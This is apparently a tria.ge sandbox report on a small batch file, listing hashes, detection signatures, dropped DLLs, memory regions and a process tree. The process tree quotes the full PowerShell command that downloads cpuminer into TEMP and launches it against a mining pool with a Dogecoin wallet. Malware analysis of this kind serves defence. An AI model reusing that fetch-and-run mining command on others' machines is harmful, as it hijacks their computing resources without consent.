Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    1798s
  • max time network
    1807s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    04/02/2024, 14:57

General

  • Target

    73u3Ito.bat

  • Size

    499B

  • MD5

    fe74bff27516829a88cfbc6f6e99646f

  • SHA1

    0c15d859211c79910b277d07e729bec7197a60cd

  • SHA256

    b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

  • SHA512

    a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5404
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5644
        • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1352

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_obxqffgi.lub.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    747KB

    MD5

    2f4dbc4b001a8b3b4f5a2b51c8807f82

    SHA1

    3d8cb69cea63f148cd168175d9c67f88d533ef93

    SHA256

    b1c92ea7e8e7003c3a7d5fb3642424af480f1e13d547e50ebd895bce27ddeea2

    SHA512

    d3a8c8cda4af091e3d533c78761b8eeba52a44af4e54d5f1d1a81f2d21b1afe6b60fdf0312f928f87a7c260fc2b74d285dc73ad0b1c8638d177dc323dd2876a8

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    619KB

    MD5

    c0657ea807cfc5664c0a14f3a347f749

    SHA1

    101fa264e4fd62874efe1dccc9ac2ae3874db67e

    SHA256

    f2ab2fef4f52b9ff5ce4ac4606d53603add10ad466c618eca953a28c762f9dee

    SHA512

    a80c681646512ab399aa6d6ea8d48af4b7e94eed07b96f4f02a4948b04cc7c115928340f2972fc8f62e83bff08ccb6166ba79a249b4f7d4afda2c01dfcb8981b

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    778KB

    MD5

    d27fbefb8de64e0c1676c7caebf9af64

    SHA1

    2cb72b471232992735218b185785fa3c12203bab

    SHA256

    5c69dc359895ffe7a5d9ce4da2d8c7a8e2951bdf03ea6c4febfbf72255ebbbd8

    SHA512

    067b0eb0ef3f73ec38f525af006fb63b33e2de14b9e61e13a5f996bc728bcf154d84c663b2dd3dad5601fffdea804d1ec827ed77256bad1b1db65d96dcb4d97f

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    756KB

    MD5

    ded3aaf85f57fb4aa50e4b981629f7fd

    SHA1

    00d17829a6106da1210024e5d03f96054ec8a375

    SHA256

    ac55ab0a5425637dbdb88a5a79e56e5bb372b21533e2cb46ada9688621cd6291

    SHA512

    d58d9b9b8cb3ef03087fe9eafa15cefe5548a5a5ca43d61adf81dbb33fb2c1bd0da5a1af4d7aa2a98b11aa2b0564d99920fe54eff505f4fa833cee56c118496a

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    671KB

    MD5

    3c044d043e5fa2031ad85ccdf8733fcc

    SHA1

    86fbc5b5eb651ca5845de78ecbc0eecfb5156bee

    SHA256

    c94c9c81656ca754f7e9c1eb253b2643f2b8f34b3c0fc7b2c6d3152c88639874

    SHA512

    da37bb1d7dcbbbf6e9b1ea451bfe0d037da7e9df120d48f793284bfaa25f88b8b966c2a712bca900b458b30b3740d1fcc886b42c6169158c23e976a7ee196cca

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    759KB

    MD5

    23da0f5df1d03abf59c64eb98f51f9b8

    SHA1

    2ed6770d3c4d0097d686b607509f89eae89585a1

    SHA256

    5eec9910e7fa7d85b78f1a752d7b0e5b9d2ed23e9136f911a9c8e21ecadcc805

    SHA512

    c1973aee63adee335b6e6de3a77dd8d5ae2363ed8b8dc8a32e200a32813493701bda225c433039eab919b6b771295634df9356ed7323f265e03f636b909a0b8c

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    618KB

    MD5

    9585dbb9aac2ece3cccc33e8b2b4965e

    SHA1

    96861b732abaaaa82c3c5e43ccc5483a80ddb701

    SHA256

    37d2ff773a3a8474bb76ae2424f19847a3f6c7e14651ef066ef01c52e99b9c18

    SHA512

    48551dbba12f632176e62bfafe236b64fd9fb1378b9f78d90321d1fdb812ae3a8a25d54db478f0a5176c20fd51d4256f9d1bb9c3ffccadabadbdcf1d235fb84b

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    236KB

    MD5

    f96152d945bc2acdd44aba22e2f3178b

    SHA1

    5dcab81a0ee401f0d491259be4bbc1db40ecd81e

    SHA256

    6769c7c33b289b16c505cef7bc7fe03e8b7cd8c4eb75e1e4dc98d1fe4021eb07

    SHA512

    88611c06f3e3ca43b4f6c607b8be1ec0c748992257a016c9784e9883ee3471477c5207a07fac53d9876f900f260ff92df2703f7398e7f2b7d9f1452dd2244425

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    385KB

    MD5

    4cc64ddf36176dce7269358a028591d5

    SHA1

    5083168e2ece57fa0f9a8bca0bb699046baeb2b8

    SHA256

    1883cc43e2153833730c5c6eb0e29731c8fbcb552c0eaf03b1d04d3611c899b2

    SHA512

    c6ee8cb18362851ec8f5aa583d30a9a97efca3a94f7c9e3b59cecc1950ecdbdd2683fa34f879f80a5f1d2f1850dfa68453838f825facf336cc1a00f46f83a9f5

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    539KB

    MD5

    cf89527149a942cc898d79fe59079847

    SHA1

    5f0938d7c8f73761b44cc918b06e795a1b257c3b

    SHA256

    e17e8d126266406f47546f44571c4eb5034e9068986a8352ee676217281fa64a

    SHA512

    720dbe2cc1466fb7e65f86a0d67bf540d57c8c52519a2c531141b2809d3afaba3dbcedb85d655069a4ab6c4545a1c0c08315a87a43d11fae61e930d7081ed9f8

  • memory/1352-74-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1352-82-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-132-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-117-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-112-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-102-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-97-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-92-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-87-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-77-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-76-0x0000000000F40000-0x00000000027F5000-memory.dmp

    Filesize

    24.7MB

  • memory/1352-75-0x0000000070C80000-0x0000000070D18000-memory.dmp

    Filesize

    608KB

  • memory/1352-73-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/1352-72-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4264-13-0x000002771DC10000-0x000002771DC20000-memory.dmp

    Filesize

    64KB

  • memory/4264-6-0x000002771DCB0000-0x000002771DCD2000-memory.dmp

    Filesize

    136KB

  • memory/4264-11-0x000002771DBF0000-0x000002771DC00000-memory.dmp

    Filesize

    64KB

  • memory/4264-12-0x00007FFA41960000-0x00007FFA42421000-memory.dmp

    Filesize

    10.8MB

  • memory/4264-14-0x00000277381F0000-0x00000277382FE000-memory.dmp

    Filesize

    1.1MB

  • memory/4264-59-0x00007FFA41960000-0x00007FFA42421000-memory.dmp

    Filesize

    10.8MB

  • memory/4264-0-0x0000027737F40000-0x0000027737FD2000-memory.dmp

    Filesize

    584KB

  • memory/4264-15-0x000002771DC10000-0x000002771DC20000-memory.dmp

    Filesize

    64KB

  • memory/4264-16-0x000002771DE80000-0x000002771DE96000-memory.dmp

    Filesize

    88KB

  • memory/4264-17-0x00007FFA41960000-0x00007FFA42421000-memory.dmp

    Filesize

    10.8MB

  • memory/4264-18-0x000002771DC10000-0x000002771DC20000-memory.dmp

    Filesize

    64KB

  • memory/4264-20-0x000002771DEA0000-0x000002771DEB2000-memory.dmp

    Filesize

    72KB

  • memory/4264-21-0x000002771DC90000-0x000002771DC9A000-memory.dmp

    Filesize

    40KB